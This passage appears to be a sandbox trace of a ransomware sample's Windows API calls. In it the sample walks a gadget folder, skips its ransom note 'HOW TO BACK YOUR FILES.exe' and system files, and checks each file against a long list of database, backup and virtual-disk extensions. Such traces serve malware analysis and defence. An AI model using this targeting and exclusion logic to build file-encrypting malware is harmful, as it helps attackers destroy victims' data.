	[0051.936] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fc4e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36fc4e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.936] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.936] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0051.936] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0051.936] lstrlenW (lpString="js") returned 2
	[0051.936] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml") returned 84
	[0051.936] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="js" | out: lpString1="js") returned="js"
	[0051.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0051.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599568
	[0051.936] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0051.937] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1
	[0051.937] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.937] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="..") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="windows") returned -1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="bootmgr") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="temp") returned -1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="pagefile.sys") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="boot") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ids.txt") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ntuser.dat") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="perflogs") returned 1
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="MSBuild") returned 1
	[0051.940] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0051.940] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned 76
	[0051.940] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="picturePuzzle.html" | out: lpString1="picturePuzzle.html") returned="picturePuzzle.html"
	[0051.940] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0051.940] lstrlenW (lpString="Apollon865") returned 10
	[0051.940] lstrcmpiW (lpString1="uzzle.html", lpString2="Apollon865") returned 1
	[0051.940] lstrlenW (lpString=".dll") returned 4
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".dll") returned 1
	[0051.940] lstrlenW (lpString=".lnk") returned 4
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".lnk") returned 1
	[0051.940] lstrlenW (lpString=".ini") returned 4
	[0051.940] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".ini") returned 1
	[0051.941] lstrlenW (lpString=".sys") returned 4
	[0051.941] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".sys") returned 1
	[0051.941] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0051.942] lstrlenW (lpString="bak") returned 3
	[0051.942] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.942] lstrlenW (lpString="ba_") returned 3
	[0051.942] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.942] lstrlenW (lpString="dbb") returned 3
	[0051.942] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.942] lstrlenW (lpString="vmdk") returned 4
	[0051.942] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.942] lstrlenW (lpString="rar") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.943] lstrlenW (lpString="zip") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.943] lstrlenW (lpString="tgz") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.943] lstrlenW (lpString="vbox") returned 4
	[0051.943] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.943] lstrlenW (lpString="vdi") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.943] lstrlenW (lpString="vhd") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.943] lstrlenW (lpString="vhdx") returned 4
	[0051.943] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.943] lstrlenW (lpString="avhd") returned 4
	[0051.943] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.943] lstrlenW (lpString="db") returned 2
	[0051.943] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.943] lstrlenW (lpString="db2") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.943] lstrlenW (lpString="db3") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.943] lstrlenW (lpString="dbf") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.943] lstrlenW (lpString="mdf") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.943] lstrlenW (lpString="mdb") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.943] lstrlenW (lpString="sql") returned 3
	[0051.943] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.943] lstrlenW (lpString="sqlite") returned 6
	[0051.943] lstrcmpiW (lpString1="e.html", lpString2="sqlite") returned -1
	[0051.943] lstrlenW (lpString="sqlite3") returned 7
	[0051.943] lstrcmpiW (lpString1="le.html", lpString2="sqlite3") returned -1
	[0051.944] lstrlenW (lpString="sqlitedb") returned 8
	[0051.944] lstrcmpiW (lpString1="zle.html", lpString2="sqlitedb") returned 1
	[0051.944] lstrlenW (lpString="xml") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.944] lstrlenW (lpString="$er") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.944] lstrlenW (lpString="4dd") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.944] lstrlenW (lpString="4dl") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.944] lstrlenW (lpString="^^^") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.944] lstrlenW (lpString="abs") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.944] lstrlenW (lpString="abx") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.944] lstrlenW (lpString="accdb") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.944] lstrlenW (lpString="accdc") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.944] lstrlenW (lpString="accde") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.944] lstrlenW (lpString="accdr") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.944] lstrlenW (lpString="accdt") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.944] lstrlenW (lpString="accdw") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.944] lstrlenW (lpString="accft") returned 5
	[0051.944] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.944] lstrlenW (lpString="adb") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.944] lstrlenW (lpString="adb") returned 3
	[0051.944] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.945] lstrlenW (lpString="ade") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.945] lstrlenW (lpString="adf") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.945] lstrlenW (lpString="adn") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.945] lstrlenW (lpString="adp") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.945] lstrlenW (lpString="alf") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.945] lstrlenW (lpString="ask") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.945] lstrlenW (lpString="btr") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.945] lstrlenW (lpString="cat") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.945] lstrlenW (lpString="cdb") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.945] lstrlenW (lpString="ckp") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.945] lstrlenW (lpString="cma") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.945] lstrlenW (lpString="cpd") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.945] lstrlenW (lpString="dacpac") returned 6
	[0051.945] lstrcmpiW (lpString1="e.html", lpString2="dacpac") returned 1
	[0051.945] lstrlenW (lpString="dad") returned 3
	[0051.945] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.945] lstrlenW (lpString="dadiagrams") returned 10
	[0051.945] lstrcmpiW (lpString1="uzzle.html", lpString2="dadiagrams") returned 1
	[0051.945] lstrlenW (lpString="daschema") returned 8
	[0051.945] lstrcmpiW (lpString1="zle.html", lpString2="daschema") returned 1
	[0051.945] lstrlenW (lpString="db-journal") returned 10
	[0051.946] lstrcmpiW (lpString1="uzzle.html", lpString2="db-journal") returned 1
	[0051.946] lstrlenW (lpString="db-shm") returned 6
	[0051.946] lstrcmpiW (lpString1="e.html", lpString2="db-shm") returned 1
	[0051.946] lstrlenW (lpString="db-wal") returned 6
	[0051.946] lstrcmpiW (lpString1="e.html", lpString2="db-wal") returned 1
	[0051.946] lstrlenW (lpString="dbc") returned 3
	[0051.946] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.946] lstrlenW (lpString="dbs") returned 3
	[0051.946] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.946] lstrlenW (lpString="dbt") returned 3
	[0051.946] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.946] lstrlenW (lpString="dbv") returned 3
	[0051.946] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.946] lstrlenW (lpString="dbx") returned 3
	[0051.946] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.948] lstrlenW (lpString="dcb") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.948] lstrlenW (lpString="dct") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0051.948] lstrlenW (lpString="dcx") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0051.948] lstrlenW (lpString="ddl") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0051.948] lstrlenW (lpString="dlis") returned 4
	[0051.948] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0051.948] lstrlenW (lpString="dp1") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0051.948] lstrlenW (lpString="dqy") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0051.948] lstrlenW (lpString="dsk") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0051.948] lstrlenW (lpString="dsn") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0051.948] lstrlenW (lpString="dtsx") returned 4
	[0051.948] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0051.948] lstrlenW (lpString="dxl") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0051.948] lstrlenW (lpString="eco") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0051.948] lstrlenW (lpString="ecx") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0051.948] lstrlenW (lpString="edb") returned 3
	[0051.948] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0051.949] lstrlenW (lpString="epim") returned 4
	[0051.949] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0051.949] lstrlenW (lpString="fcd") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0051.949] lstrlenW (lpString="fdb") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0051.949] lstrlenW (lpString="fic") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0051.949] lstrlenW (lpString="flexolibrary") returned 12
	[0051.949] lstrcmpiW (lpString1="ePuzzle.html", lpString2="flexolibrary") returned -1
	[0051.949] lstrlenW (lpString="fm5") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0051.949] lstrlenW (lpString="fmp") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0051.949] lstrlenW (lpString="fmp12") returned 5
	[0051.949] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0051.949] lstrlenW (lpString="fmpsl") returned 5
	[0051.949] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0051.949] lstrlenW (lpString="fol") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0051.949] lstrlenW (lpString="fp3") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0051.949] lstrlenW (lpString="fp4") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0051.949] lstrlenW (lpString="fp5") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0051.949] lstrlenW (lpString="fp7") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0051.949] lstrlenW (lpString="fpt") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0051.949] lstrlenW (lpString="frm") returned 3
	[0051.949] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0051.949] lstrlenW (lpString="gdb") returned 3
	[0051.950] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.950] lstrlenW (lpString="gdb") returned 3
	[0051.950] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.950] lstrlenW (lpString="grdb") returned 4
	[0051.951] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0051.951] lstrlenW (lpString="gwi") returned 3
	[0051.951] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0051.951] lstrlenW (lpString="hdb") returned 3
	[0051.951] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0051.951] lstrlenW (lpString="his") returned 3
	[0051.951] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0051.951] lstrlenW (lpString="ib") returned 2
	[0051.951] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0051.951] lstrlenW (lpString="idb") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0051.952] lstrlenW (lpString="ihx") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0051.952] lstrlenW (lpString="itdb") returned 4
	[0051.952] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0051.952] lstrlenW (lpString="itw") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0051.952] lstrlenW (lpString="jet") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0051.952] lstrlenW (lpString="jtx") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0051.952] lstrlenW (lpString="kdb") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0051.952] lstrlenW (lpString="kexi") returned 4
	[0051.952] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0051.952] lstrlenW (lpString="kexic") returned 5
	[0051.952] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0051.952] lstrlenW (lpString="kexis") returned 5
	[0051.952] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0051.952] lstrlenW (lpString="lgc") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0051.952] lstrlenW (lpString="lwx") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0051.952] lstrlenW (lpString="maf") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0051.952] lstrlenW (lpString="maq") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0051.952] lstrlenW (lpString="mar") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0051.952] lstrlenW (lpString="marshal") returned 7
	[0051.952] lstrcmpiW (lpString1="le.html", lpString2="marshal") returned -1
	[0051.952] lstrlenW (lpString="mas") returned 3
	[0051.952] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0051.953] lstrlenW (lpString="mav") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0051.953] lstrlenW (lpString="maw") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0051.953] lstrlenW (lpString="mdbhtml") returned 7
	[0051.953] lstrcmpiW (lpString1="le.html", lpString2="mdbhtml") returned -1
	[0051.953] lstrlenW (lpString="mdn") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0051.953] lstrlenW (lpString="mdt") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0051.953] lstrlenW (lpString="mfd") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0051.953] lstrlenW (lpString="mpd") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0051.953] lstrlenW (lpString="mrg") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0051.953] lstrlenW (lpString="mud") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0051.953] lstrlenW (lpString="mwb") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0051.953] lstrlenW (lpString="myd") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0051.953] lstrlenW (lpString="ndf") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0051.953] lstrlenW (lpString="nnt") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0051.953] lstrlenW (lpString="nrmlib") returned 6
	[0051.953] lstrcmpiW (lpString1="e.html", lpString2="nrmlib") returned -1
	[0051.953] lstrlenW (lpString="ns2") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0051.953] lstrlenW (lpString="ns3") returned 3
	[0051.953] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0051.953] lstrlenW (lpString="ns4") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0051.954] lstrlenW (lpString="nsf") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0051.954] lstrlenW (lpString="nv") returned 2
	[0051.954] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0051.954] lstrlenW (lpString="nv2") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0051.954] lstrlenW (lpString="nwdb") returned 4
	[0051.954] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0051.954] lstrlenW (lpString="nyf") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0051.954] lstrlenW (lpString="odb") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.954] lstrlenW (lpString="odb") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.954] lstrlenW (lpString="oqy") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0051.954] lstrlenW (lpString="ora") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0051.954] lstrlenW (lpString="orx") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0051.954] lstrlenW (lpString="owc") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0051.954] lstrlenW (lpString="p96") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0051.954] lstrlenW (lpString="p97") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0051.954] lstrlenW (lpString="pan") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0051.954] lstrlenW (lpString="pdb") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0051.954] lstrlenW (lpString="pdm") returned 3
	[0051.954] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0051.954] lstrlenW (lpString="pnz") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0051.955] lstrlenW (lpString="qry") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0051.955] lstrlenW (lpString="qvd") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0051.955] lstrlenW (lpString="rbf") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0051.955] lstrlenW (lpString="rctd") returned 4
	[0051.955] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0051.955] lstrlenW (lpString="rod") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0051.955] lstrlenW (lpString="rodx") returned 4
	[0051.955] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0051.955] lstrlenW (lpString="rpd") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0051.955] lstrlenW (lpString="rsd") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0051.955] lstrlenW (lpString="sas7bdat") returned 8
	[0051.955] lstrcmpiW (lpString1="zle.html", lpString2="sas7bdat") returned 1
	[0051.955] lstrlenW (lpString="sbf") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0051.955] lstrlenW (lpString="scx") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0051.955] lstrlenW (lpString="sdb") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0051.955] lstrlenW (lpString="sdc") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0051.955] lstrlenW (lpString="sdf") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0051.955] lstrlenW (lpString="sis") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0051.955] lstrlenW (lpString="spq") returned 3
	[0051.955] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0051.956] lstrlenW (lpString="te") returned 2
	[0051.956] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0051.956] lstrlenW (lpString="teacher") returned 7
	[0051.956] lstrcmpiW (lpString1="le.html", lpString2="teacher") returned -1
	[0051.956] lstrlenW (lpString="tmd") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0051.956] lstrlenW (lpString="tps") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0051.956] lstrlenW (lpString="trc") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.956] lstrlenW (lpString="trc") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.956] lstrlenW (lpString="trm") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0051.956] lstrlenW (lpString="udb") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0051.956] lstrlenW (lpString="udl") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0051.956] lstrlenW (lpString="usr") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0051.956] lstrlenW (lpString="v12") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0051.956] lstrlenW (lpString="vis") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0051.956] lstrlenW (lpString="vpd") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0051.956] lstrlenW (lpString="vvv") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0051.956] lstrlenW (lpString="wdb") returned 3
	[0051.956] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0051.956] lstrlenW (lpString="wmdb") returned 4
	[0051.956] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0051.956] lstrlenW (lpString="wrk") returned 3
